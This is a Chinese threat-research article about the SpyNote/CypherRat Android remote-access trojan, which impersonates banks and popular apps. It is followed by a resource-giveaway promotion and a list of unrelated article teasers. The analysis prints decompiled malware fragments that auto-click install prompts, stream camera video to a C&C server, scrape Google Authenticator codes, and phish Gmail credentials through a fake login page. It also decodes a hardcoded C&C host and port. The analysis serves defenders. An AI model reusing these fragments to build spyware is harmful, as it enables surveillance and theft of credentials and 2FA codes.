瞄准金融行业的远控木马:SpyNote

Android 间谍软件是最常见的恶意软件之一,攻击者通过 Android 间谍软件来跟踪用户位置、检查 Web 浏览记录,甚至窃取敏感信息(密码和信用卡号等),其对银行机构与客户构成的威胁与 Android 银行木马相媲美。间谍软件还可以利用合法 API 与权限来记录电话呼叫记录、远程管理设备、拦截短信或执行其他任务。

在 2022 年最后一季度,研究人员发现 SpyNote 恶意软件家族的样本数量大幅增加。该家族也被称为 SpyMax,旨在秘密记录安卓设备上的用户活动。

image.png-305.3kB

虚假应用程序

SpyNote 有几个不同的变种,最新的 SpyNote.C 成为了主流的变种。首先发现的变种 SpyNote.A 和 SpyNote.B 与最新变种 SpyNote.C 的主要区别就是活动目标,SpyNote.C 变种冒充汇丰银行、德意志银行、Kotak 银行、BurlaNu 银行等众多知名金融机构,以及 WhatsApp、Facebook 和 Google Play 等知名应用程序。

image.png-385kB

同类应用程序

部分 SpyNote.C 应用程序是单独开发的,并被宣传为 CypherRat。这些应用程序会冒充系统通知、Google Play 商店。上面都是共享 C&C 服务器的应用程序。

CypherRat

image.png-444.3kB

地下销售

该恶意软件家族的最新变种 SpyNote.C 在 Telegram 进行出售,且名为 CypherRat。攻击者利用 Sellix 支付系统出售 CypherRat,该系统使用加密货币进行交易来防止跟踪。从 2021 年 8 月到 2022 年 10 月间,CypherRat 累积了 80 多个不同的客户。

image.png-255.5kB

源码释放

2022 年 10 月,CypherRat 的源代码通过 GitHub 开源。此前地下论坛也发生过诈骗事件,攻击者冒充 CypherRat 开发者从其他犯罪分子那里窃取资金。

image.png-70.4kB

数量增长

源码公开后,相关样本数量显著增加。仅从 2022 年 10 月开始,研究人员就收集了超过 1100 个 SpyNote/CypherRat 样本文件,已经超过 2020 年以来的所有样本。

卓越的能力

SpyNote.C 恶意软件变种执行的独特功能,在 2022 年具有远控功能更的恶意软件中被识别出来。除了更新其版本甚至安装新应用程序之外,SpyNote 变种还申请其他权限跟踪短信、电话、视频和录音。

image.png-277.1kB

请求权限

SpyNote 的最新版本不仅非常强大,而且还包括各种保护功能,从简单的字符串混淆到使用商业加壳程序。

image.png-185.6kB

恶意软件功能

SpyNote 的一些典型功能如下所示:

调用摄像头录制视频并回传

获取 GPS 与网络位置跟踪信息

窃取社交媒体凭据(Facebook、Google)

使用辅助功能从 Google Authenticator 中提取代码

通过键盘记录功能窃取银行凭据

无障碍服务

SpyNote 使用辅助功能服务让用户难以卸载应用程序、安装新版本和安装其他应用程序。借助无障碍服务,无需任何用户输入,SpyNote 就可以点击“安装”和“更新”按钮:

if("android.widget.Button".equals(accessibilityNodeInfo0.getClassName())) {String s = accessibilityNodeInfo0.getText().toString();if(!TextUtils.isEmpty(s) && (("安装".equals(s)) || ("install".equals(s.toLowerCase())) || ("done".equals(s.toLowerCase())) || ("完成".equals(s)) || ("\u062A\u062B\u0628\u064A\u062A".equals(s)) || ("确定".equals(s)))) {accessibilityNodeInfo0.performAction(16);return true;}}

恶意软件通过摄像头录制视频并回传到 C&C 服务器,攻击者可以通过摄像头监视用户。

camera_stream.camera = Camera.open(Integer.valueOf(this.vul[0]).intValue());...InetSocketAddress inetSocketAddress0 = new InetSocketAddress(InetAddress.getByName(addr), v);camera_stream.socket.connect(inetSocketAddress0, 60000);...Camera.Parameters params = camera_stream.camera.getParameters();camera_stream.camera.startPreview();

带 A11y 的 Google Authenticator

SpyNote 利用辅助功能来获取双因子验证(2FA)代码,利用 Google Authenticator 应用程序的辅助功能,SpyNote 能够绕过这些安全措施并在用户不知情的情况下获得对帐户的访问权限。

packagename = "com.google.android.apps.authenticator2"Iterator iterator0 = utils.findNodeWithClass(accessibilityEvent0.getSource(), "android.view.ViewGroup").iterator();AccessibilityNodeInfo accessibilityNodeInfo1 = accessibilityNodeInfo0.getChild(v);s1 = s1 + accessibilityNodeInfo1.getText().toString() + "-";arr_s = s1.split("-");...shared.log(utils.ssss, "Google Authenticator<" + arr_s[v] + "<" + arr_s[v + 1].getBytes());

窃取社交媒体凭据(Facebook 和 Google)

通过启动具有自定义布局的网页来欺骗用户在登录过程中输入他们的私人登录信息,类似传统的覆盖攻击用于向受害者显示虚假登录银行申请页面。

收到攻击者的命令后,攻击者的 C&C 服务器会收到从网页获取的凭据和信息。

social_creds.this.setContentView(0x7F070001);  // layout:gloginsocial_creds.this.findViewById(0x7F050031).setOnClickListener(singimallisten);  // id:sinbtnsocial_creds.this.findViewById(0x7F050023).setOnClickListener(lrnmor);  // id:lrnmorsocial_creds.this.findViewById(0x7F050016).setOnClickListener(Recovergmal);  // id:gmailforgtpass// callback to extract user and passwordthis.singimallisten = new View.OnClickListener() {public void onClick(View view0) {String usrgmail = (social_creds.this.findViewById(0x7F050043)).getText().toString();  // id:usrgmailString passgmal = (social_creds.this.findViewById(0x7F05002C)).getText().toString();  // id:passgmalif(usrgmail.length() <= 3) {cmd_receiver.showToast("Please Check Your Email/Password.");return;}if(passgmal.length() < 8) {cmd_receiver.showToast("Password Must At least 8 characters.");return;}shared.log(ddddd.ssss, "Gmail<" + s + "<" + s1.getBytes());social_creds.this.done = true;social_creds.this.finish();}};

获取的敏感信息随后通过辅助功能服务接收来自攻击者的命令,然后传输到应用程序中硬编码的 C&C 服务器,并使用 Base64 编码以使其更加隐蔽。

static {AccessibilityService.key = const.encryp("bW1tbTE="); // mmmm1AccessibilityService.c = "K";AccessibilityService.d = "dGV4dA=="; // textAccessibilityService.e = "ZGV2ZWxvcA=="; // developAccessibilityService.host = "YWRuYW5rYXJhMS5kZG5zLm5ldA=="; // adnankara1.ddns.net AccessibilityService.port = "Nzc3MQ=="; // 7771 }

其他功能

SpyNote 还通过滥用合法 API 实现在其他间谍软件中观察到的常见功能,例如通过 GPS 和网络跟踪用户失陷设备的位置。同样的,也通过滥用 MediaProjection 来捕获屏幕内容。这些不一定与银行欺诈有关,但确实为犯罪分子提供了更多关于受害者的信息。

结论

SpyNote 将继续使用 Accessibility Service 从用户设备收集基本数据,并且能够朝着更便利分发的方向发展。随着源代码的发布,SpyNote 的不同变种很可能会继续出现。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/16861.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

dubbo 无注册中心 通过url直接调用

1、依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0…

消息回复及时,客户不流失!这个微信自动回复设置快快码住!

你是不是也遇到过由于回复不及时&#xff0c;导致客户流失的情况发生&#xff1f;或是好友申请太多&#xff0c;来不及通过&#xff1f; 别担心&#xff0c;试试个微管理系统&#xff0c;让你实现自动回复&#xff0c;提高回复效率&#xff01; 1、自动通过好友 当有新的好友…

SpringBootTest测试框架二

sql的mock 注入sql的拦截器,对查询语句拦截,按规则访问本地路径的文件,实现mock功能。 @Intercepts(value = {@Signature(type = Executor.class, method = "update", args = {MappedStatement.class, Object.class}),@Signature(type = Executor.class, method =…

Suricata-入门实验-快速理解suricata

实验环境&#xff1a; 主机win10 ip地址&#xff1a;192.168.121.1 虚拟机使用vm ubuntu20.04 ip地址&#xff1a;192.168.121.128 实验目标&#xff1a; 从主机 给虚拟机 发送ping 命令 虚拟机中Suricata接收到ping后发出告警信息。 正文 在前面 编译好Suricata后&#x…

postman调用Grpc

环境&#xff1a; .net6.0 一、准备 安装nuget&#xff1a; Grpc.AspNetCore Google.Protobuf Grpc.Core.Api Grpc.Tools Grpc.AspNetCore.Server.Reflection Program.cs&#xff1a; public class Program{public static void Main(string[] args){var builder WebApplicat…

报名倒计时!「飞天技术沙龙-CentOS 迁移替换专场」参会指南

为帮助广大用户诊断 CentOS 迁移替换过程中的疑难杂症&#xff0c;「飞天技术沙龙-CentOS 迁移替换专场」将于 5 月 29 日&#xff08;周三&#xff09;在北京举办&#xff0c;将围绕如何在确保服务的连续性和稳定性的前提下实现平滑迁移及如何最大限度地利用现有资源前提下确保…

App Inventor 2 Encrypt.Security 安全性扩展:MD5哈希,SHA/AES/RSA/BASE64

这是关于App Inventor和Thunkable安全性的扩展&#xff0c;它提供MD5哈希&#xff0c;SHA1和SHA256哈希&#xff0c;AES加密/解密&#xff0c;RSA加密/解密&#xff0c;BASE64编码/解码方法。 权限 此扩展程序不需要任何权限。 事件 OnErrorOccured 抛出任何异常时将触发此事件…

前端 CSS 经典:图片边框

前言&#xff1a;有这么一个业务&#xff0c;需要边框随着图片宽度的变化而变化&#xff0c;比如一些聊天的气泡框等。 实现原理&#xff1a;使用 border-image 属性 效果图&#xff1a; 实现代码&#xff1a; <!DOCTYPE html> <html lang"en"><he…

【区块链】caliper压力测试

本文上接postman接口测试 参照工程项目使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试 首先启动webase python3 deploy.py startAll vim /opt/bencahmark/caliper-benchmark/networks/fisco-bcos/test-nw/fisco-bcos.json 命令便捷查…

书籍龙与地下城游戏问题(4)0527

题目&#xff1a; 给定一个二维数组map。含义是一张地图&#xff0c;例如&#xff0c;如下矩阵&#xff1a; -2 -3 3 -5 -10 1 0 30 -5 游戏的规则如下&#xff1a; 骑士从左上角出发&#xff0c;每次只能向右或向下走&#xf…

Web3 游戏周报(5.19 - 5.25)

【5.19 - 5.25】Web3 游戏行业动态&#xff1a; Arbitrum 已开启 “2 亿枚 ARB 游戏催化剂计划”的提案投票。 STEPN 在官方 X 宣布将推出全新社交健身应用 STEPN GO。 Oasys 正式推出《足球小将》漫改 Web3 游戏《Captain Tsubasa-RIVALS-》。 Gala Games &#xff1a;已销…

❤职场小心得❤

在职场中&#xff0c;我深刻地认识到了沟通与合作的重要性。在团队中&#xff0c;每个人都有自己的专业知识和技能&#xff0c;只有通过良好的沟通和合作&#xff0c;才能将每个人的优势结合起来&#xff0c;共同完成任务。 首先&#xff0c;沟通是职场中不可或缺的能力。有效的…

华为交换机基础实验----VLAN基础

交换机篇实验&#xff1a; 给交换机创建VLAN 1.单个VLAN的创建 [S]vlan 10 查看的方法&#xff1a;dis vlan 2.批量创建vlan的方法 Vlan b 20 30 40 连续创建三个vlan&#xff0c;分别为vlan20 vlan30和vlan40 [SONY-S1-vlan10]vlan b 20 30 40 3.批量创建连续的vlan&#xf…

React的生命周期总结

React组件的生命周期可以概述为几个关键阶段&#xff1a;挂载&#xff08;Mounting&#xff09;、更新&#xff08;Updating&#xff09;、卸载&#xff08;Unmounting&#xff09;&#xff0c;以及错误处理。随着React的发展&#xff0c;特别是引入Hooks之后&#xff0c;经典类…

Vue3的watch监视

watch watch用于观察和响应组件中数据变化。 在Vue 3中&#xff0c;watch属性不仅可以用于监视Vue实例数据的变化&#xff0c;并在数据发生变化时执行相应的操作&#xff1b;并且可以在监视数据变化的同时&#xff0c;在变化时执行回调函数&#xff0c;从而实现对数据的监听和…

【Qt Creator】跨平台的C++图形用户界面应用程序开发框架---QT

&#x1f341;你好&#xff0c;我是 RO-BERRY &#x1f4d7; 致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 &#x1f384;感谢你的陪伴与支持 &#xff0c;故事既有了开头&#xff0c;就要画上一个完美的句号&#xff0c;让我们一起加油 目录 1.互联网的核心岗位以及职…

宝塔下新增站点 No Input File Specified.错误修复

今天明月收到了一个购买【站长必备在线工具源码含上百款工具-博客优化修复版】用户的求助&#xff0c;在宝塔里新增网站部署好工具源码后&#xff0c;访问出现“No input file specified.”的提示。其实出现这个提示一般都是 PHP 文件无法被解析造成的。 简单排查了一下宝塔相关…

MySQL数据库语法(二)

一、数据库的创建 创建数据库CRATE DATABASE语法&#xff1a;CREATE DATABASE [IF NOT EXISTS]数据库名;功能&#xff1a;用给定的名字创建一个数据库如果数据库已经存在&#xff0c;发生一个错误。查看创建数据库&#xff1a;SHOW CREATE DATABASE <数据库名>&#xff…

疯狂“造人”!美国两党共推新法案,5年培养100万AI及量子人才

当前&#xff0c;全球量子计算人才的短缺已成为制约该领域快速发展的关键瓶颈。 为了解决量子计算人才短缺的问题&#xff0c;各国政府和企业采取了积极措施&#xff0c;加大了对量子教育和培训的投入。根据美国参议院官网消息&#xff0c;2024年5月23日&#xff0c;美国两党议…

Java原生JDBC概览

Java原生JDBC概览 一、是什么&#xff1f; JDBC是Java DataBase Connectivity的缩写&#xff0c;它是Java程序访问数据库的标准接口。 Java代码并不是直接通过TCP连接去访问数据库&#xff0c;而是通过JDBC接口来访问&#xff0c;而JDBC接口则通过JDBC驱动来实现对数据库的访…